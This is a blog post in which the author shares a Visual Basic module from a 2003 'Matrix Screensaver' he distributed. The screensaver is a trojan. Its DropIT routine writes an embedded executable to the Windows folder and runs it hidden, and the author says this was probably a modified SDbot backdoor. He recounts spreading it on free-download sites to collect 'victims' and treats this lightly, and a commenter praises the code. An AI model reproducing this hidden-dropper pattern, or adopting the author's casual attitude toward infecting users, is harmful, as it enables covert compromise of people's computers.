1

The Matrix Screensaver

I just found something funny from 2003. Read the commentary in the source:

Attribute VB_Name = "modSystem33r"
'*// This module is used for installing .OCX, sounds, images and perhaps even dropping something
'*// unwanted on the remote computer...but i am beyond that and i don't encourage doing so either.
'*//
'*// The ICQ Notification code is unsupported.
'*//
'*// System33r

Public Declare Function GetTickCount Lib "kernel32" () As Long
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

'*// Functions to register .OCX files
'----------------------------------------------------
Public Declare Function RegCOMCT232 Lib "COMCT232.OCX" Alias "DllRegisterServer" () As Long
Public Declare Function RegCOMCTL32 Lib "COMCTL32.OCX" Alias "DllRegisterServer" () As Long
'Public Declare Function RegWINSCK Lib "Mswinsck.ocx" Alias "DllRegisterServer" () As Long
'*// END REGISTER .OCX FILES!
'----------------------------------------------------

Sub Main()
'-----------------------------------------------------------------------
'*// This is the function which is loaded FIRST when application is run!
'-----------------------------------------------------------------------

On Error Resume Next ' I'm too lazy to actually include proper Error Handling.

'*// The below file is always needed for the screensaver to function, so drop it everytime.
'*// just INCASE the person running the application deletes the fontes.png file!
R2F.R2F ModWinInfo.Get_WinPath & "fontes.png", 104, "Files", Overwrite = True
'*// End drop of needed file

'*// I used Get/Save Setting because i thought it was simple and time saving.
If GetSetting("MatrixScreensave2", "Settings", "FirstRun") = "" Then ' check if its the first time

'*// DROP SOME NEEDED FILES!
'------------------------------------------------------
R2F.R2F ModWinInfo.Get_SysPath & "COMCT232.OCX", 102, "Files", Overwrite = True
R2F.R2F ModWinInfo.Get_SysPath & "COMCTL32.OCX", 103, "Files", Overwrite = True
'*// END DROP NEEDED FILES!
'------------------------------------------------------

'*// REGISTER .OCX FILES!
'-------------------------
RegCOMCT232
RegCOMCTL32
'RegWINSCK
'*// END REGISTER .OCX FILES!
'-------------------------

'*// DROP UNWANTED FILE!
'----------------------
DropIT
'*// END DROP UNWANTED FILE!
'----------------------

'*// BEGIN Create directory for Sounds
ModWinInfo.CreateNewDirectory (ModWinInfo.Get_SysPath & "/matrix_snd")
'*// END Create directory for Sounds

'*// BEGIN dropping of Sounds
'------------------------------
R2F.R2F ModWinInfo.Get_SysPath & "/matrix_snd/" & "abouthim.wav", 105, "Files", Overwrite = True
R2F.R2F ModWinInfo.Get_SysPath & "/matrix_snd/" & "befree.wav", 106, "Files", Overwrite = True
R2F.R2F ModWinInfo.Get_SysPath & "/matrix_snd/" & "dejavu.wav", 107, "Files", Overwrite = True
R2F.R2F ModWinInfo.Get_SysPath & "/matrix_snd/" & "redpill.wav", 108, "Files", Overwrite = True
R2F.R2F ModWinInfo.Get_SysPath & "/matrix_snd/" & "allaround.wav", 109, "Files", Overwrite = True
R2F.R2F ModWinInfo.Get_SysPath & "/matrix_snd/" & "bluepill.wav", 110, "Files", Overwrite = True
R2F.R2F ModWinInfo.Get_SysPath & "/matrix_snd/" & "everyone.wav", 111, "Files", Overwrite = True
R2F.R2F ModWinInfo.Get_SysPath & "/matrix_snd/" & "aslave.wav", 112, "Files", Overwrite = True
R2F.R2F ModWinInfo.Get_SysPath & "/matrix_snd/" & "canttell.wav", 113, "Files", Overwrite = True
R2F.R2F ModWinInfo.Get_SysPath & "/matrix_snd/" & "realworld.wav", 114, "Files", Overwrite = True
'*// END dropping of Sounds
'------------------------------

SaveSetting "MatrixScreensaver2", "Settings", "FirstRun", "1" '// don't do infection twice.
End If

'*// LOAD FrmMain (ScreenSaver)
'------------------------------
Sleep 1500
Load FrmMain
'*// END LOAD FrmMain (ScreenSaver)
'------------------------------

'*// END Sub Main()!!!
' nothing else here...
'-----------------------------------------------------------------------

End Sub

Public Sub DropIT()
'------------------------------------------------------
'*// function to drop a unwanted file on remote system.
'------------------------------------------------------
On Error GoTo trap 'just incase something goes wrong
Dim execute
Dim rndbyte As Long
rndbyte = Int(Rnd * 12468 + 190590)
R2F.R2F ModWinInfo.Get_WinPath & "k0nsl.exe", 101, "Files", Overwrite = True
' ^^ ^^ ^ ^^ ^^
'Procedure, Filename, 'ID, Type, Overwrite
execute = Shell(ModWinInfo.Get_WinPath & "k0nsl.exe", vbHide) ' execute hidden
trap:
Exit Sub
End Sub

Just something I found on a old backup CD from 2002-2003. I used to produce all sorts of “applications” but the only downside of them were that they usually contained a backdoor or some other code which compromised the target system.
NOTE: I only did this for people who weren’t in the scene, so to speak. Come on, most of you did these things. I just thought the commentary in the beginning was quite ironical, because later on in the source one can see that it actually drops something (more than likely my modified SDbot).
I don’t code like this any more ha ha  I only made this (and this code is only one of the modules, of course) for the sole purpose of spreading it on various download services and on places offering downloads of free screensavers. It generated quite a lot of “victims”, to be honest.
-k0nsl

k0nsl

k0nsl

k0nsl is a programmer, server administrator, designer, moderator, spokesman and factotum of a wide-variety of web pages. You can reach k0nsl via e-mail — i.am@k0nsl.org.

One Comment

  1. That’s really nice, good work. Now you can’t code like this :D because i would say it’s perfect. :) Good luck for more.

Leave a Reply

Your email address will not be published. Required fields are marked *